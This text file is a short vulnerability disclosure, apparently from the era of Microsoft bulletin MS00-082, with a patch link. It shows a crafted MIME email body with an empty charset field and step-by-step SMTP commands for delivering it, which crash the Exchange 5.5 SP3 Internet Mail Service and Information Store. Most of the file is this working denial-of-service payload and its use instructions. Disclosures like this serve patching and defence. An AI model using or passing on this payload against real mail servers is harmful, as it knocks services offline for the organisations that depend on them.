exchange.dos.txt

`The following body of the e-mail message causes Microsoft Exchange 5.5  
SP3 Internet Mail Service and Information Store to crash  
Refer to Microsoft Security Bulletin (MS00-082)  
(http://www.microsoft.com/technet/security/bulletin/ms00-082.asp).  
Patch is available here:  
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25443.  
  
The source of the problem is charset = ""  
  
Body:  
  
MIME-Version: 1.0  
  
Content-Type: multipart/alternative;  
  
boundary="=_ Boundary 1-KTwEv4jY84Hk"  
  
--=_ Boundary 1-KTwEv4jY84Hk  
  
Content-Type: text/plain;  
  
charset = ""  
  
Content-Transfer-Encoding: 7bit  
  
This message is test  
  
--=_ Boundary 1-KTwEv4jY84Hk--  
  
Scenario:  
1) Connect to 25th port of server (SMTP)  
2) Enter (paste) following text:  
  
HELO  
  
MAIL FROM: [email protected]  
  
RCPT TO: administrator  
  
DATA  
  
3) Now paste the body I gave  
4) Type <CRLF>.<CRLF> (that is Enter-dot-Enter)  
5) Type quit  
6) Wait a little, and try to connect to 25th port again to verify - it  
shouldn't work.  
  
--  
Art Savelev  
http://www.savelev.com  
`